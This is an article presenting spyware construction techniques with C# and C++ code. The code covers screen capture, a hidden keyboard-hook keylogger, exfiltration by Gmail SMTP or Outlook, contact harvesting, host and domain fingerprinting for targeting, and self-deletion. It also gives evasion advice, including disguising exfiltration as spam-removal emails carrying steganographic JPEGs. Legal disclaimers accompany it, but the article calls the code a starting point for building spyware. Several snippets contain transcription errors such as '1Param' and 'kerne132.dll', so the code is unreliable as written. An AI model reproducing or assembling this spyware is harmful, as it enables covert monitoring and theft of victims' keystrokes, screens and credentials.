Spyware Techniques

by Dr. Chuck Easttom

This article explores the concepts and principles of spyware creation.  Various techniques are given for both capturing data, and for ensuring the spyware behaves in a manner least likely to be noticed.  This article will contain specific code segments that could be used to create spyware.  The code segments are a starting point for anyone wishing to create spyware.  Various techniques are demonstrated.

Many of these techniques could be found separately via a careful search of security and hacking websites, relevant books, and journal articles.  The purpose of this article is to provide a single, cohesive presentation of spyware techniques.  This should facilitate researchers wishing to study spyware and spyware techniques.

It should be noted that there are other legal uses for spyware.  It is legal for a parent to monitor their minor children's computer activity.  In fact, so-called "nanny software" is really just spyware.  It is also legal for employers to monitor work machines, though it is often best to notify employees that their activities may be monitored (Moore, 2000).

Introduction

Before continuing, a basic warning is in order.  Since this article contains actual source code as well as specific techniques, you are advised to use this information with caution.  The information should only be used in the process of penetration testing, for lawful applications such as law enforcement agencies with a valid warrant, or in similar situations.

Spyware is an integral part of intelligence operations and cyber warfare (Gallagher & Greenwald, 2014; Li & Lai, 2011).  It can also be a part of certain law enforcement operations (Bellia, 2005).  In the case of law enforcement, it is assumed the spyware is usually introduced pursuant to a valid warrant (Jarrett & Baille, 2009).  In the case of intelligence operations, it is assumed the spyware is only used on valid foreign targets that would normally be the target of intelligence operations.  While some people may be uncomfortable with the concept of spyware being used by governmental agencies, it should be noted that spyware is no different than a wiretap.  It is a means to monitor communications.  Provided the application of such monitoring is conducted within the confines of legal boundaries, then this should be no different than a more traditional phone tap.

I will explain basic function of spyware, how it works, and provide source code for that function.  Techniques for ensuring the spyware remains undetected will also be explored.  It must be emphasized that spyware techniques can only be applied in a legal setting.  Using this technology outside of legal boundaries would constitute a felony.

General Background on Spyware

An individual spyware application can work in any number of ways to gather data.  A common type of spyware is referred to as a key logger.  A key logger literally logs each keystroke the user makes and puts them into a file so that everything the user types, including website addresses, usernames, and passwords, is recorded.  Another type of spyware is one that takes periodic screenshots of exactly what is on the screen and saves them to a file.

In both cases, the data is temporarily stored on the victim's computer; the perpetrator must then exfiltrate that data from the target machine.  There are several ways to do this.  One is to have spyware that periodically sends its data to a predetermined email address or IP address.  Another is for the attacker to have access to the target computer and periodically log on and get the data.  In the latter case, the attacker may have previously hacked into the machine and installed the spyware, and then later, he or she returns to gather the data.  In this article, you will see specific code to facilitate both screen captures and key logging.

Spyware Techniques

The goal of any spyware is to obtain information from the target computer.  There are some standard approaches to this process that most spyware will implement.  In this section, basic spyware techniques will be explored with source code examples.

Basic Screen Capture

Perhaps the most elementary approach to spyware is to have the software take periodic screen captures of the infected machine.  This technique is actually very simple, rudimentary in fact.  But it has several advantages over more complex methodologies.  First, it does not require setting hooks into system processes, or complex programming.  It can also be done with a rather small executable, and can perform screen capture intermittently, thus reducing the opportunity for detection.  The disadvantage is that the data is kept in images which must first be stored on the infected machine, and then subsequently exfiltrated.

Sample code to perform a screen capture is given in Figure 1.  This code is in C# and stores the screen capture in the user's default temp directory.  C# is utilized for this example because it is widely used and will be understood by a wide range of programmers.  Storing images in the default temp directory is selected because this directory frequently is filled with files during normal operations.  Adding files to it is unlikely to trigger anti-malware.  It is also unlikely that the computer user will view the contents of this folder and notice the new image files.

Figure 1: Screen Capture Code

i = i + 1
string sysName = string.Empty;
string sysUser = string.Empty;
Bitmap b = BitMapCreater();
printScreen = string.Format("{0}{l}", Path.GetTempPath(), "screen" + i + ".jpg"};
picScreenCapture.Load(printScreen.ToString());

b.Save(printScreen, ImageFormat.jpeg);

This is very simple code, and easy to implement.  Certainly there are other approaches to screen capture, and this code can easily be enhanced to create more effective malware.  A few suggestions for improving the code are presented here.  This code can be placed inside a timer control (for Windows programs) so that it takes screen captures periodically.  Or it could be executed at random intervals based on a pseudo-random number generator.  Either approach would create a sparse infecter malware.  It is also possible to enhance this code so that it periodically checks the current window in the foreground (Microsoft Developer Network provides code samples for that process) and only takes screen shots if specific windows are in use.  This would allow the spyware to be more targeted and only take images from certain programs.

Sending Email

At some point the data must be transmitted out of the target computer to some location where it can be easily retrieved by the monitoring agency.  Regardless of what methodology one implements to capture data, email is an effective way of sending out data in a manner that is less likely to be detected.  Assuming emails are only sent infrequently, and the target address is one that is innocuous, such as a free email (Gmail, Hotmail, etc.), this exfiltration is less likely to be detected.  The code for doing this is presented in Figures 2 and 3.  The first part is a function that sends email, the second part is the code that calls that function.  This code is presented in C#, for the reasons previously stated.

Figure 2: Send Email

private static string sendMail(System.Net.Mail.MailMessage mm)
{
     try
     {
          string smtpHost = "smtp.gmail.com";
          string userName = "username@gmail.com";//write your email address
          string password = "************";//write password
          System.Net.Mail.SmtpClient mClient = new System.Net.Mail.SmtpClient();
          mClient.Port = 587;
          mClient.EnableSsl = true;
          mClient.UseDefaultCredentials = false;
          mClient.Credentials = new NetworkCredential(userName, password);
          mClient.Host = smtpHost;
          mClient.DeliveryMethod = System.Net.Mail.SmtpDeliveryMethod.Network;
          mClient.Send(mm);
}
catch (Exception ex)
{
          System.Console.Write(ex.Message);
}

The calling code shown below is somewhat more complicated than the bare minimum requirements.  You will notice that it accomplishes a few interesting goals beyond simply calling the email send function.  The first is that it gathers information on the current user.  Given that the goal of spyware is to monitor some individual, this can be invaluable.  It is also possible to target spyware so that if the user information does not match a given target, the spyware ceases to function.

Figure 3: Calling the Email Send Function

System.Net.Mail.MailAddress toAddress = new System.Net.Mail.MailAddress("xxxxx@gmail.com");
System.Net.Mail.MailAddress fromAddress = new System.Net.Mail.MailAddress("thismachine@xyz.com");
System.Net.Mail.MailMessage mm = new System.Net.Mail.MailMessage(fromAddress, toAddress);
sysName = System.Security.Principal.WindowsIdentity.GetCurrent().Name.ToString();
sysUser = System.Security.Principal.WindowsIdentity.GetCurrent().User.ToString();
mm.Subject = sysName + " " + sysUser;
string filename = string.Empty;
System.Net.Mail.Attachment mailAttachment = new System.Net.Mail.Attachment(printScreen);
mm.Attachments.Add(mailAttachment);
mm.IsBodyHtml = true;
mm.BodyEncoding = System.Text.Encoding.UTF8;
sendMail(mm);

Notice that the preceding examples are not dependent on a specific email client being present on the target computer.  If the target machine has Microsoft Outlook, then you can simply utilize the Outlook client to send out messages.  A code sample for that process is given in Figure 4.

Figure 4: Sending Email via MS Outlook

public void send_email_via_outlook(bool battach, string filepath)
{
     try
     {
          Microsoft.Office.Interop.Outlook.Application outlookObj = new Microsoft.Office.Interop.Outlook.Application();
          Outlook.MailItem mailItem = (Outlook.MailItem) outlookObj.CreateItem(Outlook.01ItemType.ol.MailItem);
          mailItem.Subject = "This is the subject";
          mailItem.To = "someone@example.com";
          mailItem.Body = "This is the message.";

          if(battach==true)
            MailItem.Attachments.Add(filepath);//logPath is a string holding path to the log.txt file

          mailItem.Display(false);
     }
     catch (Exception ex)
     {

     }

To use this code (i.e., to write a program that executes this process), you will need to import a specific DLL on your development machine.  That import is shown here:

using Outlook = Microsoft.Office.Interop.Outlook;

It is often also useful to have access to the Outlook contact list in order to send emails to specific individuals.  The code shown in Figure 5 will accomplish this.

Figure 5: Retrieve Outlook Contact List

DataSet ds = new DataSet();
ds.Tables.Add("Contacts");
ds.Tables[0].Columns.Add("Email");
ds.Tables[0].Columns.Add("FirstName");
ds.Tables[0].Columns.Add("LastName");

Microsoft.Office.Interop.Outlook.Items OutlookItems;
Microsoft.Office.Interop.Outlook.Application outlookObj; 
Microsoft.Office.Interop.Outlook.MAPIFolder Folder_Contacts;


outlookObj = new Microsoft.Office.Interop.Outlook.Application();
Folder_Contacts = (Microsoft.Office.Interop.Outlook.MAPIFolder)outlookObj.Session.GetDefaultFolder(Microsoft.Office.Interop.Outlook.01DefaultFolders.olFolderContacts);
OutlookItems = Folder_Contacts.Items;

for (int i = 0; i < OutlookItems.Count; i++)

{
     Microsoft.Office.Interop.Outlook.Contactltem contact = (Microsoft.Office.Interop.Outlook.ContactItem)OutlookItems[i + 1];
     DataRow dr = ds.Tables[0].NewRow();
     dr[0] = contact.EmaillAddress;
     dr[1] = contact.FirstName;
     dr[2] = contact.LastName;

     ds.Tables[0].Rows.Add(dr);

}

Key Logger

Screen capture can be an effective approach to spyware.  However, the most widely used approach involves the use of key loggers.  In this section , I will demonstrate a very basic key logger that simply logs the command window activities.  It will log whatever is typed into the command window.  This is useful because most users do not routinely utilize the command window.  However, administrative users often do.  The code presented in this section also illustrates the process of getting a hook into an application.  This code can be adapted to hook into other applications, other than the command window.  The code is shown in Figure 6.

It should be noted that this code is more complex than the screen capture code shown earlier.  However, the code is still under 80 lines of code for the entire class implementation.  This makes it practical for use as spyware.  Spyware should be small and compact.  Large files are not appropriate for use as spyware.

Gathering User Information

Remember the goal of spyware is to gather information.  Thus far, we've explored screen captures and key loggers.  It is also possible, and frequently desirable, to gather user information from the operating system itself.  The Windows operating system makes this very easy.  The machine name, username, how they are authenticating to the system, and other facts can be interesting information to gather.  The following code, shown in Figure 8, is merely an example of what information can easily be gathered.  This code is C# code.

Again, note that the code presented is small.  Throughout this article, emphasis is given to small executable size.

Stealth Techniques

The first half of this article focused on basic spyware techniques.  However, just as important as gathering information is that such surveillance is not easily detected.  Whether this surveillance is part of a law enforcement operation, intelligence gathering, or the legal monitoring of employees/children, the best results will occur if the target is unaware of the surveillance.  Should the target of an investigation realize that their system is being monitored, then the monitoring would no longer be useful.

In this section, I will explain some general approaches to rendering spyware less susceptible to detection.  As with the preceding section, I will also provide specific code segments where appropriate.

Figure 6: Key Logger Code

class clsConsoleKeyLogger
{

   private const int WH_KEYBOARD_LL = 13;
   private const int WM_KEYDOWN = 0x0100;
   private static LowLevelKeyboardProc _proc = HookCallback;
   private static IntPtr _hookID = IntPtr.Zero;

    public static void startKeyLogger()
    {
      var handle = GetConsoleWindow();

       // Hide
       ShowWindow(handle, SW_HIDE);

       _hookID = SetHook(_proc);
       Application.Run();
       UnhookWindowsHookEx(_hookID);
    }

   private static IntPtr SetHook(LowLevelKeyboardProc proc)
   {
     using (Process curProcess = Process.GetCurrentProcess())
     using (ProcessModule curModule = curProcess.MainModule)
     {
       return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
        GetModuleHandle(curModule.ModuleName), 0);
     }
   }

   private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr 1Param);

   private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr 1Param)
   {
     if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
     {
       int vkCode = Marshal.ReadInt32(1Param);
       Console.WriteLine((Keys)vkCode);
       StreamWriter sw = new Streamwriter(Application.StartupPath + @"\log.txt", true);
       sw.Write((Keys)vkCode);
       sw.Close();
     }
     return CallNextHookEx(_hookID, nCode, wParam, 1Param);
   }

Sparse Infection

The first suggestion is a tactical approach to spyware, rather than specific coding.  A sparse infection virus will only be active intermittently and for short periods.  The goal is to reduce the opportunity for detection of the virus.  In the case of malware used in cyber warfare and cyber espionage, the malware author should always consider sparse infection.  The timer mentioned earlier as well as using a pseudo random number generator are both approaches to creating sparse infecter spyware.  Both the capture of data as well as the exfiltration of that data can be done using the sparse infecter approach.

Hiding Transmission

A more substantive issue is how to exfiltrate data such that the transmission is not readily detected.  Many of the utilities used in the hacking community communicate on specific ports.  If the malware utilizes a standard communication port, it is less likely to be detected.  Malware that utilizes its own specific port can be detected based on the utilization of that port alone.  Furthermore, general communications ports are less likely to be blocked by firewalls.

Figure 7: Key Logger Code - Continued

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

[DllImport("kerne132.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);

[DllImport("kerne132.dll")]
static extern IntPtr GetConsoleWindow();

[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

const int SW_HIDE = 0;

 }

Figure 8: Gathering Use Information

string sysName = "";
string sysUser = "";
string userGroups = "";
string AuthenticationType = "";
sysName = System.Security.Principal.WindowsIdentity.GetCurrent().Name.ToString();
sysUser = System.Security.Principal.WindowsIdentity.GetCurrent().User.ToString();
userGroups= System.Security.Principal.WindowsIdentity.GetCurrent().Groups.ToString();
AuthenticationType = System.Security.Principal.WindowsIdentity.GetCurrent().AuthenticationType.ToString();

The SANS Institute (SANS, 2016) has a lengthy list of well-known spyware/Remote Access Trojan ports.  Some use ports that are often used by other well-known protocols, for example:

Other spyware and remote access Trojans use their own port.  For example:

Exfiltrating data using a common communications port is more effective.  The traffic is more like to appear to be innocuous.  However, if individual packets are examined, for example, by an Intrusion Detection System (IDS), then the exfiltration still may be detected.

Therefore, I suggest an alternate methodology.  I recommend utilizing standard email going out on port 25, and do so actually using email.  It is possible to use port 25 for something other than SMTP (Simple Mail Transfer Protocol).  But if packets are being analyzed, then this would be suspicious activity and likely to be detected.  Certainly other spyware/remote access Trojans have done this, however the content of the email is the issue.  Sending an email from the target machine is not complex and has been described in the first half of this article.

However, I recommend augmenting this process such that the email itself - its destination address and content - are not suspicious.  I recommend setting up a Gmail (or similar ) account that has a name related to spamming.  A generic email like removeme@gmail.com, unlistme@gmail.com, or you can use a name associated with a real entity well known for spamming.  The subject line will state "Remove Me."  In this way, any Intrusion Detection System or other monitoring software would see the outgoing email as simply a request to be removed from a spam list.  This should appear to be routine traffic and not suspicious.

Once the destination is set so that it appears to be routing email traffic, the next issue is the content of the email.  It is ineffective to simply place the data into the body of the email or to attach screenshots.  This would likely trigger a well configured Intrusion Detection System.  The email body will be a reply to a standard spam email.  However, the portion of the email that purports to be the original spam that the user is asking to be removed from could have a logo that is a JPEG image file.  The data to be exfiltrated will be stored within that JPEG using steganography.  This makes the outgoing email appear to be a response to spam from some company, and the response is a routine request to be removed from the email list.  Even direct and careful examination of the email content will not reveal any suspicious activity.

Targeting

Another issue with stealth is to have malware that targets a specific individual or organization.  Many infamous spyware outbreaks, such as (((Stuxnet))) and Flame, became public knowledge because they infected many more machines than anticipated.  The issue is to identify the domain or individual user.  Advanced spyware technologies may provide more than one method for accomplishing this goal.  There are techniques available now which allow for the detection of both the domain and the user.  These techniques should be adapted for use in targeted spyware.  If the spyware should happen to be copied to a machine that is not the target of an investigation, the software can cease spyware activities and simply lie dormant, or even self-destruct.

It is relatively simple to determine the domain on a Windows computer.  Since at least the release of Windows 2000, it is possible to query the computer to determine what domain it is a part of.  The Microsoft Developer Network provides a code example that can accomplish this task (Microsoft, 2014).  However, that code example is large, perhaps too large for malware applications.  Figure 9 has code that shows a 33-line function (including whitespace) that accomplishes the same goal.  This code is in C++.

This code identifies the domain as well as individual machine.  This makes it relatively easy to compare one or both of those properties against a target list and, if necessary, abort the attack.  This code will function on computers running Windows 2000 or later.  There are certainly other methods for accomplishing this goal (Barber, 2006).  In the case of law enforcement agencies, the spyware can remain inert or even self-destruct should it be accidentally introduced to a machine that is not the subject of a valid warrant.

Self-Destruction

To further reduce the chance of detection, the spyware should self-destruct if the system is not on the target list.  There are other triggers that might induce the self-destruct sequence.  One being the expiration of a valid search warrant.  The following image shows a simple self-destruct function that is common and, in fact, very similar functions can be found on various web pages.  This code is written in C++ and is relatively short, making it ideal for malware purposes.

The code above is only one possible approach to self-destruction.  There are myriad other possible approaches.  One trivial example is to utilize a simple batch file that executes DEL from the command line, or similar Bash commands from a Linux shell can also be used.  The key is for the loader portion of the malware to detect the parameters of the target machine and to determine if that system is on the target list.  If not, the attack should be aborted and the malware should self-destruct, thus reducing the opportunity for the attack to be detected.

Conclusions

While malware creation was previously the domain of cyber criminals, it is now a weapon used in a variety of conflicts and in espionage.  Spyware, in particular, is useful in investigations that require the monitoring of the target's computer communication.  Spyware can also be used to legally monitor minor children or employees on a company network (with some limitations depending on your jurisdiction).  It is important that spyware be both effective, and difficult to discover.  This article introduced you to some techniques and concepts that would facilitate both goals.  Combining the various techniques presented here, it is possible to have a software module that consists of fewer than 500 lines of code, making this very easy to either embed in other software or to create a small executable.

Figure 9: Identify the Domain

#define _WIN32_WINNT 0x0500

#include <windows.h>
#include <stdio.h>
#include <tchar.h>

void _tmain(void)
{
    TCHAR buffer[256] = TEXT("");
    TCHAR szDescription[8][32] = {TEXT("NetBIOS"),
        TEXT("DNS hostname"),
        TEXT("DNS domain"),
        TEXT("DNS fully-qualified"),
        TEXT("Physical NetBIOS"),
        TEXT("Physical DNS hostname"),
        TEXT("Physical DNS domain"),
        TEXT("Physical DNS fully-qualified")};
    int cnf = 0;
    DWORD dwSize = sizeof(buffer);

    for (cnf = 0; cnf < ComputerNameMax; cnf++)
    {
        if (!GetComputerNameEx((COMPUTER_NAME_FORMAT)cnf, buffer, &dwSize))
        {
            _tprintf(TEXT("GetComputerNameEx failed (%d)\n"), GetLastError());
            return;
        }
        else _tprintf(TEXT("%s: %s\n"),   szDescription[cnf], buffer);

        dwSize = _countof(buffer);
        ZeroMemory(buffer, dwSize);
    }
}

Figure 10: Self Destruction

void SelfDestruct()
{
     TCHAR szModuleName[MAX_PATH];
     TCHAR szCmd[2 * MAX_PATH];
     STARTUPINFO si = {0};|
     PROCESS_INFORMATION pi = {0};

     GetModuleFileName(NULL, szModuleName, MAX_PATH);

     StringCbPrintf(szCmd, 2 * MAX_PATH, SELF_REMOVE_STRING, szModuleName);

     CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);

     CloseHandle(pi.hThread);
     CloseHandle(pi.hProcess);
}

References

Barber, S. (2006).  "Retrieving a list of network computer names using C#"

Bellia, P. (2005).  "Spyware and the Limits of Surveillance Law"  Berkeley Technology Law Journal Vol 20(3) pp 1283-1344

Gallagher, R., Greenwald, G. (2014).  "How the NSA Plans to Infect 'Millions' of Computers with Malware"  The Intercept

Jarrett, H., Bailie, M. (2009).  "Searching and Seizing Computers and Obtaining Electronic Evidence in Criminal Investigations"  Office of Legal Education Executive Office for United States Attorneys

Li, E, Lai, A. (2011).  "Evidence of Advanced Persistent Threat: A Case Study of Malware for Political Espionage"  Malicious and Unwanted Software (MALWARE), 2011 6th International Conference on. (DOI: 10.1109/MALWARE.2011.6112333)

Microsoft Developer Network (2014).  "How to Determine if a Windows NT/Windows 2000 Computer is a Domain Member"  (Original)

Moore, A. (2000).  "Employee Monitoring and Computer Technology: Evaluative Surveillance V. Privacy"  Business Ethics Quarterly  Vol 10 (3) pp 697-709

SANS (2016).  "Intrusion Detection FAQ: What Port Numbers Do Well-Known Trojan Horses Use?"

Return to $2600 Index